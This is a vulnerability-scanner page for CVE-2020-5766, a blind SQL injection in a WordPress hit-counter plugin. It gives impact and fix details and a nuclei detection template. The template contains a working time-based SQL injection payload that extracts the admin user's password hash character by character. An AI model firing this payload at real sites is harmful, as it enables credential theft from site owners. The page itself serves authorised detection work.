SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection

highseverity

7.5CVSS score

7.2%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.

Impact

Unauthenticated attackers can extract database contents via blind SQL injection, potentially exposing sensitive WordPress user data and credentials.

Fix

Update to the latest version of SRS Simple Hits Counter plugin.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/srs-simple-hits-counter") and status_code == 200
Send: @timeout 20s
Positive when: duration>=6

Run it with nuclei: nuclei -id CVE-2020-5766 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5766

info:
  name: SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
  impact: |
    Unauthenticated attackers can extract database contents via blind SQL injection, potentially exposing sensitive WordPress user data and credentials.
  remediation: |
    Update to the latest version of SRS Simple Hits Counter plugin.
  reference:
    - https://github.com/tenable/poc/blob/master/WordPress/plugins/SRS_Simple_Hits_Counter/blind_sqli_tra_2020_42.py
    - https://www.tenable.com/security/research/tra-2020-42
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5766
    cwe-id: CWE-89
    epss-score: 0.07233
    epss-percentile: 0.94376
    cpe: cpe:2.3:a:srs_simple_hits_counter_project:srs_simple_hits_counter:1.0.3:*:*:*:*:wordpress:*:*
  metadata:
    vendor: srs_simple_hits_counter_project
    product: srs_simple_hits_counter
    framework: wordpress
    publicwww-query: "/wp-content/plugins/srs-simple-hits-counter/"
  tags: cve,cve2020,srs-simple-hits-counter,wordpress,wp,wp-plugin,time-based-sqli,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/srs-simple-hits-counter")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /wp-admin/admin-ajax.php?action=srs_update_counter&post_id=1+and+1=0)+union+select+(select+if(ascii(substring((select+user_pass+from+wp_users+where+user_login=char(97,100,109,105,110)),%d,1))=%d,sleep(6),sleep(0))),1,1,1,1,1;-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'

References

Use this check only on systems you are authorised to test. Where the data comes from